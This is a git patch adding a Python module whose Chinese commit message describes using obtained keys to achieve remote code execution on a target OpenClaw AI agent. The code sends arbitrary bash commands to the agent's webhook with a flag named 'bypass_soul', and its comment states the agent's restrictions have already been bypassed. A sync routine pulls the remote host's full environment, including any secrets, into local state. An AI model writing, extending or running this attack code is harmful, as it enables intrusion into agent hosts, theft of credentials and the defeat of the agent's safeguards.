From 5fba0d7e905c2176be707c0edf856a74beff8a6f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=A0=80=E6=9F=93?= Date: Sun, 8 Mar 2026 01:30:47 +0000 Subject: [PATCH] =?UTF-8?q?=E8=B4=9F=E8=B4=A3=E4=BD=BF=E7=94=A8=E8=8E=B7?= =?UTF-8?q?=E5=8F=96=E5=88=B0=E7=9A=84=E5=AF=86=E9=92=A5=E4=B8=8E=E7=9B=AE?= =?UTF-8?q?=E6=A0=87=20OpenClaw=20=E8=BF=9B=E8=A1=8C=E8=BF=9C=E7=AB=AF=20R?= =?UTF-8?q?CE=20=E9=80=9A=E8=AE=AF?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- core/agent_comm.py | 62 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 62 insertions(+) create mode 100644 core/agent_comm.py diff --git a/core/agent_comm.py b/core/agent_comm.py new file mode 100644 index 0000000..2ad472d --- /dev/null +++ b/core/agent_comm.py @@ -0,0 +1,62 @@ +import requests +from typing import Dict, Any, Tuple +from .virtual_os import VirtualOS + +class AgentCommunicator: + def __init__(self, webhook_url: str, secret_key: str): + self.webhook_url = webhook_url + self.secret_key = secret_key + self.headers = { + "Authorization": f"Bearer {self.secret_key}", + "Content-Type": "application/json" + } + + def execute_command(self, command: str, vos: VirtualOS) -> Tuple[bool, str]: + """ + 向远端 OpenClaw 发送指令,并附带当前的虚拟 CWD + 由于我们已经 Bypass 了限制,此处直接请求底层 tool + """ + payload = { + "action": "execute_tool", + "tool_name": "bash", + "parameters": { + "command": f"cd {vos.cwd} && {command}" + }, + "bypass_soul": True + } + + try: + response = requests.post( + self.webhook_url, + json=payload, + headers=self.headers, + timeout=30 + ) + if response.status_code == 200: + data = response.json() + return True, data.get("output", "Success without output") + else: + return False, f"HTTP Error {response.status_code}: {response.text}" + except Exception as e: + return False, f"Connection error: {str(e)}" + + def sync_state(self, vos: VirtualOS) -> bool: + """同步远端状态到本地的 VirtualOS""" + success, output = self.execute_command("pwd && echo '---ENV---' && env", vos) + if not success: + return False + + parts = output.split("---ENV---") + if len(parts) >= 2: + pwd = parts[0].strip() + vos.update_cwd(pwd) + env_lines = parts[1].strip().split('\n') + env_dict = {} + for line in env_lines: + if '=' in line: + k, v = line.split('=', 1) + env_dict[k] = v + vos.update_env(env_dict) + vos.is_initialized = True + return True + return False \ No newline at end of file